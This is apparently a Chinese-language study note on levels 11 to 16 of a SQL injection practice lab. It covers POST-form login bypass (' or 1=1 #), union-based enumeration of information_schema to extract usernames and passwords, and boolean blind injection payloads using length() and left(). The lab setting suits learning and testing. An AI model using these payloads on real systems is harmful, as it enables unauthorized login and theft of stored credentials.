less11-16
less 11
这关让我们输入账号密码,而不是简单的?id=1,所以直接夹断.

代理抓包发现题与以往不同
以往采用的是get方法,而这里是post方法,以至于我们在submit之无法看到输入的usename和password
但是本质上还是之前的报错注入,不过是基于post的提交方式

利用抓包得到的信息可知上传的data为:uname=&passwd=&submit=%E6%8F%90%E4%BA%A4
所以基于此,进行报错注入
首先我们不知道账号密码,利用注释符和 or 1=1使其为真
uname=n‘ or 1=1 #&passwd=&submit=%E6%8F%90%E4%BA%A4
这样无论账号存不存在都可以登入(猜的)
事实也是这样,这里返回了账号密码和我们输入的不一样,但是我们知道我们成功登入了,注释符以前的內容是可执行的这样接下来就是类似less1的内容
order by n 查看列数
union select 1,2,。。n查看回显
按照回显来嵌套
select database();
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema=’A’;
select column_name from information_schema.column where table_name=’B’;
select username,password from where A.B;
利用group_concat()和concat_ws()来简便操作

less 12
同理同法,不过是把单引号改为双引号单括号。
测试注入可以依次测试’ , ‘) , ‘)) , “ , “) , “))六种
less13
同样操作
post data:uname=1’) or 1=1#&passwd=1&submit=Submit
这次没有报错,但也没有回显
属于布尔盲注
post data:uname=1’) or length(database()>1#&passwd=1&submit=Submit来判断数据库名长度
post data:uname=1’) or left((select schema_name from information_schema.schemata limit 0,1),1)=’a’#&passwd=1&submit=Submit来判断列名
PS:or左右两边其中一边为真都为真,已知左为假,所以只有有报错则右边为假就会报错,所以利用此来破解库名,表名,列名。
利用工具进行爆破详见less5,6总结
13 (‘’)
14 “”
15 ‘’
16 (“”)
less13,14,15,16同样的方法只是对数据的包裹方式不同。